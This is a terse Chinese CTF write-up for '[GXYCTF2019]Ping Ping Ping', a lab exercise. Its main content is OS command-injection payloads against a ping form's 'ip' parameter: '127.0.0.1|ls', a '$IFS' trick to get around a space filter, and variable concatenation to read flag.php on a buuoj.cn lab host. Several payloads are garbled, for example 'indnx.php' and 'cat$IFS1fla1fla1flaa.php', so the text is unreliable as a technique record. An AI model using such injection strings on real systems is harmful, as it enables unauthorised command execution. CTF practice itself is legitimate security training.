[GXYCTF2019]Ping Ping Ping 进入页面然后/?ip=127.0.0.1|ls 进入读取flag.php 再cat$IFS$1indnx.php 再变量拼接 ?ip=127.0.0.1;a=g;cat$IFS1fla1fla1flaa.php 转至 http://1d22a0a5-c6a0-43f1-8e52-e5a33ec7e044.node3.buuoj.cn/?ip=127.0.0.1;a=g;cat$IFS1fla1fla1flaa.php 再F12 相关文章: 2022-01-24 2021-06-26 2021-10-11 2021-11-30 2021-07-26 2022-12-23 2021-11-14 2022-12-23